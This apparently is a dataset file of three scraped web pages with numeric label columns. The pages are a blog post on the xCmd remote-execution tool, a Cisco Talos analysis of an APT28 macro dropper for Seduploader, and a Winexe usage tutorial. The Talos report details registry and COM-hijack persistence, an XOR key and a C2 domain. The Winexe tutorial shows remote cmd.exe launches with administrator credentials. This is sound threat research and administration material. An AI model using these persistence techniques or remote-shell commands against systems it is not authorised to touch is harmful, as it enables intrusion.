PsExec for one of my project and it had to integrated into program. I mean invocation of PsExec had to be done from a coding language. Then i faced problem of application getting hanged. To verify my code i did call PsExec from Java, Csharp, VB.net. None of them worked and program hanged on calling PSExec. There is a problem with PsExec OutputStream when it is called from a programming language. None of the versions of PsExec looked good with this bug. So i had tpo find out an alternative, \xc2 Here is one good tool named XCmd by \xe2\x80\x9cZoltan Csizmadia\xe2\x80\x9d Execute Applications on Remote Systems Overview This program allows you to execute applications on remote systems without installing any client\xc2 software. You can start a command prompt or just execute a command or exe\xc2 on a remote machine. The only restriction is you must be an administrator \xf0\x9f\x98\xa6 Everybody knows the cool tools from Sysinternals (www.sysinternals.com). One of my favorites are PSEXEC, PSKILL and PSLIST,\xe2\x80\xa6 \xf0\x9f\x99\x82 I was always wonder how they could query every kind of information or execute commands on a remote machine without installing any client software. Features With this program you can run as many remote commands on the remote machine as you want.\xc2 (PSEXEC supports only one remote command on the remote machine at the same time) You can execute internal commands (dir,..) directly. xCmd.exe \\\\remote dir You can start a light \xe2\x80\x9ctelnet\xe2\x80\x9d connection with a remote machine without any telnet server xCmd.exe \\\\remote cmd Usage xCmd v1.0 for NT4/2000 \xe2\x80\x93 executes commands remotely Freeware! 2001 Zoltan Csizmadia, zoltan_csizmadia@yahoo.com Usage: xCmd.exe \\\\computer [options] command/exe arguments Options: /D:directory\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Set working directory Default: Remote \xe2\x80\x9c%SystemRoot%\\System32\xe2\x80\x9d /IDLE\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Idle priority class /NORMAL\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Normal priority class /HIGH\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 High priority class /REALTIME\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Realtime priority class /C\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Copy the specified program to the remote machine\xe2\x80\x99s \xe2\x80\x9c%SystemRoot%\\System32\xe2\x80\x9d directory Commands\xe2\x80\x99s exe file must be absolute to local machine /USER:user\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 User for remote connection /PWD:{password|*}\xc2 \xc2 \xc2 Password for remote connection /NOWAIT\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Don\xe2\x80\x99t wait for remote process to terminate Examples: xCmd.exe \\\\remote cmd xCmd.exe \\\\remote /user:administrator dir c:\\\xc2 xCmd.exe \\\\remote /user:somebody /pwd:* /d:d:\\ test1.exe /p1 /p2 xCmd.exe \\\\remote /c /user:somebody /pwd:* /d:d:\\ test2.exe /whatever \xe2\x80\x93 Input is passed to remote machine when you press the ENTER. \xe2\x80\x93 Ctrl-C terminates the remote process \xe2\x80\x93 Command and file path arguments have to be absolute to remote machine If you are using /c option, command exe file path must be absolute to local machine, but the arguments must be absolute to remote machine How does it work? The xCmd.exe is console application and when you start it, the program will extract a xCmdSvc.exe from its resources. xCmd.exe creates a service on the remote machine (that\xe2\x80\x99s the reason, you must be an administrator xCmd.exe starts the remote service (#2) xCmd.exe and xCmdSvc.exe will communicate via named pipes xCmd.exe send a packet to the service what to execute xCmdSvc.exe starts the command and redirect stdout, stderr, stdin to 3 named pipes. xCmd.exe listens these 3 named pipes (#6), redirect them to its stdout, stderr, stdin I have downloaded his code and converted to Visual Studio 2008 Solution and fixed a small bug which comes with iostream.h inclusion in new version of C++. Here is the link to original Article which i copied http://www.codeguru.com/Cpp/I-N/network/remoteinvocation/article.php/c5433 And here is modified C++ Solution which gets compiled in Visual Studio. Checkout from svn https://linkwithweb.googlecode.com/svn/trunk/Utilities/RemoteExecution/xCmd 40.618389 -75.495430 Advertisements Share this: Facebook Twitter More Reddit Like this: Like Loading... Related Post navigation \xe2\x86\x90 Call Executable from C#\xc2 Program Find Codec of Media File\xc2 Programatically \xe2\x86\x92 4 thoughts on \xe2\x80\x9cxCmd an Alternative to\xc2 PsExec\xe2\x80\x9d private rentenvorsorge says: August 15, 2011 at 1:26 pm Diese web page kann a Spaziergang \xe2\x80\x93 durch f\xc3\xbcr alle Informationen Sie gesucht \xc3\xbcber dies und wusste nicht, wen Sie fragen. Glimpse right here, und auch Sie \xe2\x80\x98ll definitiv aufzudecken es. Reply Kenny says: September 16, 2011 at 3:42 am thanks, the article is very helpful. This time, i decide that i will use the xCmd to excute some script on servers. Reply venkat says: October 11, 2012 at 12:41 pm Hi Ashwin, I have synced xCMD source code from given SVN URL , i have opened the project in VS 2010 . when i try to build the project output file is generating only 23KB where original file is 40KB. Do you have any idea regarding this? Regards, Venkat Reply Chris says: August 18, 2017 at 6:06 pm I updated XCmd back in 2006 to have a few more features including the ability to run applications visible on the desktop. This was for XP and it worked on Windows 7 for some things. The port is now located on Github. I would like some help updating it to Windows 10 and beyond. https://github.com/rischip/ReXeCutioner Reply Leave a Reply Cancel reply Enter your comment here... Fill in your details below or click an icon to log in: Email (required) (Address never made public) Name (required) Website You are commenting using your WordPress.com account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Google account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Twitter account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Facebook account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) Cancel Connecting to %s Notify me of new comments via email. Notify me of new posts via email. Recent OpenVINO Ubuntu Xenial, Virtualbox and Vagrant Install, Intel NCS2 (Neural Compute Stick\xc2 2) QuickBooks and Sage Data\xc2 Exporter Invoking Ansible Inside Python\xc2 Flask Amazon Kindle Hack and Download\xc2 PDF/Image Merge Overlapping Interval Blogroll AshwinBlogSpot This is Old Blog Which i Wrote 0 Cluster Map 0 Dzone DZone 10 FlagCounter Flag Counter 0 Java Code Geeks Java Community Blogging 10 AES Algorithm android Annotation Apache Apache Digestor Apache Maven Attachment Build ByteCode C# Capture Component Configuration Database Database Connection DBUnit Derby Devops DWR DWR and Javascript Dynamic Flowplayer Generics GWT Hibernate html HTTPS httpupload IE Download Inmemory Installer Installshiled J2ee Java Java Agents Javaassist Java Mail JavaScript JPA JQuery Mail Attachments Maven microsoft Multimedia Mysql oauth Pagination Paramerterize pass parameter PDF property file rails Read redmine Resize Rico ruby Send Servlet Signature SOAP SOckets Spring Spring MVC SVN SWFUpload tab Tested Configuration Tree vagrant virtualbox Web service WebServices XML Top Clicks ashwinrayaprolu.files.wor\xe2\x80\xa6 ashwinrayaprolu.files.wor\xe2\x80\xa6 codeguru.com/Cpp/I-N/netw\xe2\x80\xa6 linkwithweb.googlecode.co\xe2\x80\xa6 linkwithweb.googlecode.co\xe2\x80\xa6 Archives April 2019\xc2 (1) November 2018\xc2 (1) September 2018\xc2 (1) February 2017\xc2 (1) November 2016\xc2 (1) October 2016\xc2 (3) August 2016\xc2 (1) June 2016\xc2 (2) August 2011\xc2 (4) June 2011\xc2 (3) May 2011\xc2 (8) April 2011\xc2 (8) March 2011\xc2 (12) February 2011\xc2 (1) December 2010\xc2 (2) November 2010\xc2 (8) October 2010\xc2 (1) August 2010\xc2 (1) June 2010\xc2 (4) May 2010\xc2 (1) January 2009\xc2 (7) November 2008\xc2 (2) October 2008\xc2 (2) September 2008\xc2 (6) August 2008\xc2 (5) August 2006\xc2 (1) Author ashwinrayaprolu Calendar April 2011 M T W T F S S \xc2\xab Mar \xc2 May \xc2\xbb \xc2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 \xc2 Email Subscription Enter your email address to subscribe to this blog and receive notifications of new posts by email. Join 38 other followers Sign me up! Advertisements Blog at WordPress.com. Privacy & Cookies: This site uses cookies. By continuing to use this website, you agree to their use. To find out more, including how to control cookies, see here: Cookie Policy %d bloggers like this:","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0" -"Talos Blog || Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: \xe2\x80\x9cCyber Conflict\xe2\x80\x9d Decoy Document Used In Real Cyber Conflict Software Vulnerability Information Vulnerability Information BACK Vulnerability Reports Microsoft Advisories Reputation Center Reputation Center BACK IP & Domain Reputation Talos File Reputation Reputation Support AMP Threat Naming Conventions IP Blacklist Download AWBO Exercises Categories Library Support Communities Support Communities BACK Snort Community ClamAV Community Reputation Center Support SpamCop Careers Blog About Sunday, October 22, 2017 \xe2\x80\x9cCyber Conflict\xe2\x80\x9d Decoy Document Used In Real Cyber Conflict This post was authored by Warren Mercer, Paul Rascagneres and Vitor Ventura Update 10/23: CCDCOE\xc2 released a statement today on their website Introduction Cisco Talos discovered a new malicious campaign from the well known actor Group 74 (aka Tsar Team, Sofacy, APT28, Fancy Bear\xe2\x80\xa6). Ironically the decoy document is a deceptive flyer relating to the Cyber Conflict U.S. conference. CyCon US is a collaborative effort between the Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence. Due to the nature of this document, we assume that this campaign targets people with an interest in cyber security. Unlike previous campaigns from this actor, the flyer does not contain an Office exploit or a 0-day, it simply contains a malicious Visual Basic for Applications (VBA) macro. The VBA drops and executes a new variant of Seduploader. This reconnaissance malware has been used by Group 74 for years and it is composed of 2 files: a dropper and a payload. The dropper and the payload are quite similar to the previous versions but the author modified some public information such as MUTEX name, obfuscation keys... We assume that these modifications were performed to avoid detection based on public IOCs. The article describes the malicious document and the Seduploader reconnaissance malware, especially the difference with the previous versions. Malicious Office Document Decoy Document The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following filename Conference_on_Cyber_Conflict.doc. It contains 2 pages with the logo of the organizer and the sponsors: Due to the nature of the document, we assume that the targeted people are linked or interested by the cybersecurity landscape. The exact content of the document can be found online on the conference website. The attackers probably copy/pasted it into Word to create the malicious document. VBA The Office document contains a VBA script. Here is the code: The goal of this code is to get information from the properties of the document (""Subject"", ""Company"", ""Category"", ""Hyperlink base"" and finally ""Comments""). Some of this information can be directly extracted from the Windows explorer by looking at the properties of the file. The ""Hyperlink Base"" must be extracted using another tool, strings is capable of obtaining this by looking for long strings. Pay close attention to the contents of these fields as they appear base64 encoded. This extracted information is concatenated together to make a single variable. This variable is decoded with the base64 algorithm in order to get a Windows library (PE file) which is written to disk. The file is named netwf.dat. On the next step this file is executed by rundll32.exe via the KlpSvc export. We see that this file drops 2 additional files: netwf.bat and netwf.dll. The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden. We can also see 2 VBA variable names: PathPld, probably for Path Payload, and PathPldBt, for Path Payload Batch. Seduploader Variant Dropper Analysis As opposed to previous campaigns performed by this actor, this latest version does not contain privilege escalation and it simply executes the payload and configures persistence mechanisms. The dropper installs 2 files: netwf.bat : executes netwf.dll netwf.dll : the payload The dropper implements 2 persistence mechanisms: HKCU\\Environment\\UserInitMprLogonScript to execute the netwf.bat file COM Object hijack of the following CLSID: {BCDE0395-E52F-467C-8E3D-C4579291692E}, the CLSID of the class MMDeviceEnumerator. These 2 techniques have also been previously used by this actor. Finally the payload is executed by rundll32.exe (and the ordinal #1 in argument) or by explorer.exe if the COM Object hijack is performed. In this case, explorer.exe will instance the MMDeviceEnumerator class and will execute the payload. Payload Analysis The payload features are similar to the previous versions of Seduploader. We can compare it to the sample e338d49c270baf64363879e5eecb8fa6bdde8ad9 used in May 2017 by Group 74. Of the 195 functions of the new sample, 149 are strictly identical, 16 match at 90% and 2 match at 80%: In the previous campaign where adversaries used Office document exploits as an infection vector, the payload was executed in the Office word process. In this campaign, adversaries did not use any exploit. Instead,the payload is executed in standalone mode by rundll32.exe. Adversaries also changed some constants, such as the XOR key used in the previous version. The key in our version is: key=b""\\x08\\x7A\\x05\\x04\\x60\\x7c\\x3e\\x3c\\x5d\\x0b\\x18\\x3c\\x55\\x64"" The MUTEX name is different too: FG00nxojVs4gLBnwKc7HhmdK0h Here are some of the Seduploader features: Screenshot capture (with the GDI API); data/configuration exfiltration; Execution of code; File downloading; The Command & Control (CC) of the analysed sample is myinvestgroup[.]com. During the investigation, the server did not provide any configuration to the infected machines. Based on the metadata of the Office documents and the PE files, the attackers had created the file on Wednesday, the 4th of October. We can see, in Cisco Umbrella, a peak in activities 3 days later, Saturday the 7th of October: Conclusion Analysis of this campaign shows us once more that attackers are creative and use the news to compromise the targets. This campaign has most likely been created to allow the targeting of people linked to or interested by cybersecurity, so probably the people who are more sensitive to cybersecurity threats. In this case, Group 74 did not use an exploit or any 0-day but simply used scripting language embedded within the Microsoft Office document. Due to this change, the fundamental compromise mechanism is different as the payload is executed in a standalone mode. The reasons for this are unknown, but, we could suggest that they did not want to utilize any exploits to ensure they remained viable for any other operations. Actors will often not use exploits due to the fact that researchers can find and eventually patch these which renders the actors weaponized platforms defunct. Additionally the author did some small updates after publications from the security community, again this is common for actors of this sophisticated nature, once their campaigns have been exposed they will often try to change tooling to ensure better avoidance. For example the actor changed the XOR key and the MUTEX name. We assume that these modifications were performed in order to avoid detection based on public IOCs. Coverage Additional ways our customers can detect and block this threat are listed below. Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. Email Security can block malicious emails sent by threat actors as part of their campaign. Network Security appliances such as NGFW, NGIPS, and Meraki MX can detect malicious activity associated with this threat. AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. IOCs Files Office Documents: c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae efb235776851502672dba5ef45d96cc65cb9ebba1b49949393a6a85b9c822f52 Seduploader Dropper: 522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805 Sedupload Payload: ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18 Networks CC: myinvestgroup[.]com Posted by Paul Rascagneres at 12:22 PM Labels: APT, APT28, Cyberwar, group 74, NATO Share This Post No comments: Post a Comment Newer Post Older Post Home Subscribe to: Post Comments (Atom) Subscribe To Our Feed Posts Comments Subscribe via Email Blog Archive \xe2\x96\xba\xc2 2019 (191) \xe2\x96\xba\xc2 September (18) \xe2\x96\xba\xc2 August (21) \xe2\x96\xba\xc2 July (23) \xe2\x96\xba\xc2 June (16) \xe2\x96\xba\xc2 May (25) \xe2\x96\xba\xc2 April (25) \xe2\x96\xba\xc2 March (24) \xe2\x96\xba\xc2 February (19) \xe2\x96\xba\xc2 January (20) \xe2\x96\xba\xc2 2018 (198) \xe2\x96\xba\xc2 December (16) \xe2\x96\xba\xc2 November (15) \xe2\x96\xba\xc2 October (26) \xe2\x96\xba\xc2 September (16) \xe2\x96\xba\xc2 August (12) \xe2\x96\xba\xc2 July (20) \xe2\x96\xba\xc2 June (15) \xe2\x96\xba\xc2 May (15) \xe2\x96\xba\xc2 April (21) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (14) \xe2\x96\xba\xc2 January (18) \xe2\x96\xbc\xc2 2017 (171) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (11) \xe2\x96\xbc\xc2 October (15) Vulnerability Spotlight: The Circle of a Bug\xe2\x80\x99s Lif... Vulnerability Spotlight: Multiple Vulnerabilities ... Threat Round Up for Oct 20 - Oct 27 Vulnerability Spotlight: Apache OpenOffice Vulnera... Threat Spotlight: Follow the Bad Rabbit \xe2\x80\x9cCyber Conflict\xe2\x80\x9d Decoy Document Used In Real Cyber... Vulnerability Spotlight: Google PDFium Tiff Code E... Beers with Talos EP 15: Landing a Job, Phishing Mi... Threat Round Up for Oct 6 - Oct 13 Disassembler and Runtime Analysis Spoofed SEC Emails Distribute Evolved DNSMessenger... Microsoft Patch Tuesday - October 2017 Vulnerability Spotlight: Arbitrary Code Execution ... Vulnerability Spotlight: Multiple vulnerabilities ... Beers with Talos EP14: Ranking Threats and Avoidin... \xe2\x96\xba\xc2 September (17) \xe2\x96\xba\xc2 August (16) \xe2\x96\xba\xc2 July (14) \xe2\x96\xba\xc2 June (14) \xe2\x96\xba\xc2 May (19) \xe2\x96\xba\xc2 April (17) \xe2\x96\xba\xc2 March (17) \xe2\x96\xba\xc2 February (12) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2016 (98) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (8) \xe2\x96\xba\xc2 October (11) \xe2\x96\xba\xc2 September (8) \xe2\x96\xba\xc2 August (8) \xe2\x96\xba\xc2 July (9) \xe2\x96\xba\xc2 June (10) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (7) \xe2\x96\xba\xc2 February (6) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2015 (62) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (3) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (5) \xe2\x96\xba\xc2 July (4) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (3) \xe2\x96\xba\xc2 April (7) \xe2\x96\xba\xc2 March (8) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2014 (67) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (5) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (10) \xe2\x96\xba\xc2 August (4) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (4) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (4) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (8) \xe2\x96\xba\xc2 2013 (30) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (5) \xe2\x96\xba\xc2 September (2) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (1) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (5) \xe2\x96\xba\xc2 2012 (53) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (1) \xe2\x96\xba\xc2 October (2) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (7) \xe2\x96\xba\xc2 July (7) \xe2\x96\xba\xc2 June (4) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (5) \xe2\x96\xba\xc2 March (3) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2011 (23) \xe2\x96\xba\xc2 December (1) \xe2\x96\xba\xc2 November (4) \xe2\x96\xba\xc2 October (3) \xe2\x96\xba\xc2 September (1) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (2) \xe2\x96\xba\xc2 February (1) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2010 (93) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (4) \xe2\x96\xba\xc2 September (7) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (11) \xe2\x96\xba\xc2 June (12) \xe2\x96\xba\xc2 May (5) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2009 (146) \xe2\x96\xba\xc2 December (14) \xe2\x96\xba\xc2 November (10) \xe2\x96\xba\xc2 October (12) \xe2\x96\xba\xc2 September (13) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (19) \xe2\x96\xba\xc2 June (11) \xe2\x96\xba\xc2 May (13) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (11) \xe2\x96\xba\xc2 February (13) \xe2\x96\xba\xc2 January (11) \xe2\x96\xba\xc2 2008 (37) \xe2\x96\xba\xc2 December (12) \xe2\x96\xba\xc2 November (6) \xe2\x96\xba\xc2 October (7) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (3) \xe2\x96\xba\xc2 May (3) Recommended Blogs Cisco Blog Emotet is back after a summer break Snort Blog Snort OpenAppID Detectors have been updated ClamAV\xc2\xae blog ClamAV 0.102.0 Release Candidate is now available Software Reputation Center Vulnerability Information Microsoft Advisory Snort Rules IP Blacklist Download AMP Naming Conventions Talos File Reputation AWBO Exercises Library Support Communities About Careers Blog ThreatSource Newsletter Beers with Talos Podcast Connect With Us \xc2\xa9 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy here.","0","1","0","1","0","1","1","0","0","1","1","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Run commands on Windows system remotely using Winexe | +1 918 625 3023 info@secpod.com Home About Categories SCAP Feed Security Research Endpoint Security Computer Engineering CEO Speak Infographics Contact Jun21 7 Run commands on Windows system remotely using Winexe Posted by Thanga Prakash Winexe is a GNU/Linux based application that allows users to execute commands remotely on WindowsNT/2000/XP/2003/Vista/7/8 systems. It installs a service on the remote system, executes the command and uninstalls the service. Winexe allows execution of most of the windows shell commands. How to install: You can download the source package from here [Current version is winexe-1.00.tar.gz] tar -xvf winexe-1.00.tar.gz cd winexe-1.00/source4/ ./autogen.sh ./configure make basics bin/winexe make \xe2\x80\x9cCPP=gcc -E -ffreestanding\xe2\x80\x9d basics bin/winexe (For X64 bit) this will create a [ winexe ] binary file in the bin folder. You can use that binary to execute the windows commands from Linux. or else there are some compiled version of binary itself available for download. You can download and use it from here. How to use it: ./winexe -U [Domain/]User%Password //host command Examples: ./winexe -U HOME/Administrator%Pass123 //192.168.0.1 \xe2\x80\x9cnetstat -a\xe2\x80\x9d ./winexe -U HOME/Administrator%Pass123 //192.168.0.1 \xe2\x80\x9cipconfig -all\xe2\x80\x9d /winexe -U HOME/Administrator%Pass123 //192.168.0.1 \xe2\x80\x9cping localhost\xe2\x80\x9d To launch a windows shell from inside your Linux box. Using this below command, /winexe -U HOME/Administrator%Pass123 //192.168.0.1 \xe2\x80\x9ccmd.exe\xe2\x80\x9d Winexe Binarycd winexe-1.00/source4/ Summary Article Name Run commands on Windows system remotely using Winexe Author Thanga Prakash Publisher Name SecPod Technologies Publisher Logo Computer Engineering Security Research, Tips, winexe Post navigation \xe2\x86\x90 Security is a process Hack VMware Remote Console (Firefox add-on) to Run Independently !!! \xe2\x86\x92 7 thoughts on \xe2\x80\x9cRun commands on Windows system remotely using Winexe\xe2\x80\x9d Prakash June 27, 2013 at 16:58 Nice Tutorial !.. It helps me right the way !\xe2\x80\xa6 Can you please let me know the procedures to do the same in MAC OS X Cheers\xe2\x80\xa6 \xf0\x9f\x99\x82 Reply Thanga Prakash July 2, 2013 at 13:15 The above mentioned procedure will work on MAC also But, Before install u need to change the following line struct tevent_context *ev_ctx; \xe2\x80\x93to\xe2\x80\x93> extern struct tevent_context *ev_ctx; in source4/winexe/winexe.h file. Reply Alexander M November 1, 2013 at 22:54 I do the above, but I get ./auth/kerberos/krb5_init_context.h:22:2: error: unknown type name \xe2\x80\x98krb5_log_facility\xe2\x80\x99 errors. Any thoughts on these? Reply ravi kotaru May 14, 2014 at 11:30 Excellent. this is what we are looking for. Thanks for sharing the information about the tool and the tutorial Reply William Peckham November 19, 2014 at 17:14 When will there be a version to support Windows Server in the 2012 R2+ versions? Reply Keerthi August 5, 2015 at 19:02 Nice Tutorial! Can you please let me know how would I execute a cd command on windows machine from a linux server using winexe? I tried this from a linux machine ./winexe -U ablocaluser%abcd321 //mycomputer \xe2\x80\x9ccd c:\\tmp\xe2\x80\x9d I\xe2\x80\x99m getting the following error: Error: error Creating process(cd c:\\tmp) 2 ./winexe -U ablocaluser%abcd321 //mycomputer \xe2\x80\x9cpushd c:\\tmp\xe2\x80\x9d I\xe2\x80\x99m getting the following error: Error: error Creating process(pushd c:\\tmp) 2 Also I have a tar command to untar a file and when I provide it via winexe command it untar the file in C:\\Windows\\System32 folder. I would like the contents of the tar file to be untared in a different location. I even tried it explicitly specifying ./winexe -U ablocaluser%abcd321 //mycomputer \xe2\x80\x9ctar -xvf sample.tar \xe2\x80\x93 C c:\\tmp\xe2\x80\x9d but for some reason it is trying to cd to c:\\Windows\\System32\\c:\\tmp Appreciate your help in resolving this issue! Reply Mangesh September 30, 2015 at 11:06 Hi Keerthi, Did you get any updates on ./winexe -U ablocaluser%abcd321 //mycomputer \xe2\x80\x9ctar -xvf sample.tar \xe2\x80\x93 C c:\\tmp\xe2\x80\x9d I have some problem. Appreciate your help. Regards, Mangesh Reply Leave a Reply Cancel Reply Your email address will not be published. Required fields are marked * Name * Email * Website Recent Posts Patch Tuesday: Microsoft Security Bulletin Summary for September 2019 CRITICAL: Exim is back with a Remote Root Code Code Execution Vulnerability (CVE-2019-15846) ALERT: The Forbidden Samba Shares exposed (CVE-2019-10197) QEMU, bringing the guest closer to the host ALERT: Apple Emergency Update (CVE-2019-8605) Categories CEO Speak Computer Engineering Endpoint Security Infographics SCAP Feed SecPod Security Research Please leave this field emptySubscribe - Email * Check your inbox or spam folder now to confirm your subscription. Pages Contact Login Customizer Archives September 2019 August 2019 July 2019 June 2019 May 2019 April 2019 March 2019 February 2019 January 2019 December 2018 November 2018 October 2018 September 2018 August 2018 July 2018 June 2018 May 2018 April 2018 March 2018 February 2018 January 2018 December 2017 November 2017 October 2017 September 2017 August 2017 July 2017 June 2017 May 2017 April 2017 March 2017 February 2017 January 2017 December 2016 November 2016 October 2016 September 2016 August 2016 July 2016 June 2016 May 2016 April 2016 March 2016 February 2016 January 2016 December 2015 November 2015 October 2015 September 2015 August 2015 July 2015 June 2015 May 2015 April 2015 March 2015 February 2015 January 2015 December 2014 November 2014 October 2014 September 2014 August 2014 July 2014 June 2014 May 2014 April 2014 March 2014 February 2014 January 2014 December 2013 November 2013 October 2013 June 2013 May 2013 April 2013 January 2013 July 2012 June 2012 March 2012 February 2012 December 2011 September 2011 August 2011 July 2011 April 2011 March 2011 January 2011 November 2010 September 2010 August 2010 October 2009 July 2009 April 2009 December 2008 October 2008 September 2008 August 2008 Meta Log in \xc2\xa9 2019 Ascent. All rights reserved | Ascent by 